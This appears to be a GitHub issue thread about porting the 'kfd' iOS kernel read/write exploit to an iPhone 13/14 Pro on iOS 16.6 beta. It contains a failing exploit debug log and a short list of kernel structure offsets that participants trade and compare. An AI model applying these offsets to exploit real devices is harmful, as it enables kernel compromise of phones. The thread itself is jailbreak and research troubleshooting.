[krkw_helper_run_allocate]: kwrite ---> object_id = 208, object_uaddr = 0x00000003d2af0000, object_size = 32, allocated_id = 512/10140, batch_size = 512
[0x0000]: 0000000000000001 0000000000000001 7d8e9561b708d5b8 0000000000000000 
[krkw_helper_run_deallocate]: 🟢 0s 0ms 69us
[krkw_helper_run_deallocate]: 🟢 0s 0ms 194us
[krkw_run]: 🟢 0s 5ms 225us
[info_run]: kfd->info.kaddr.current_proc = ffffffe1b9273290
[info_run]: kfd->info.kaddr.current_task = ffffffe1b927404f
[kread_kqueue_workloop_ctl_kread_u64]: 🔴 assertion failed: (syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize)

[Lrdsnow]

iPhone14 Pro and iOS 16.6 b1

@moqi2011 Those offsets match perfectly with the ones I have for it, and I used those as a reference in hopper/ida when creating my offsets for my iPhone 13 on 16.6b1 so

[moqi2011]

iPhone14 Pro and iOS 16.6 b1

@moqi2011 Those offsets match perfectly with the ones I have for it, and I used those as a reference in hopper/ida when creating my offsets for my iPhone 13 on 16.6b1 so

Please use the python code I provided above to compare the differences, there are obviously different offsets.

kqworkloop__kqwl_owner = 0xd0
proc__object_size = 0x730
task__threads__next = 0x80 - 0x28
task__object_size = 0x640
thread__object_size = 0x4c0
uthread__object_size = 0x200

You can directly use my above offset to test, and then let me know the result.

[Lrdsnow]

@moqi2011 I do realize there are different offsets because they are different devices I was saying they lead to the same values in the kernelcache, And as for directly adding the offsets I still get the same results

[Halo-Michael]

So that's the key point: My offsets are currect and before libpatchfinder update released ¯_(ツ)_/¯ https://gist.github.com/Halo-Michael/ff9e6502144ea2c0201fb21e09b26d0e/revisions

[moqi2011]

Your problem is not caused by offset, please close this question. The last thing I need to tell you is that the offset in the exploit phase only depends on the kernel version and cpu architecture (arm64 or arm64e), that is to say, you can use the verified offset of other devices instead of searching it yourself.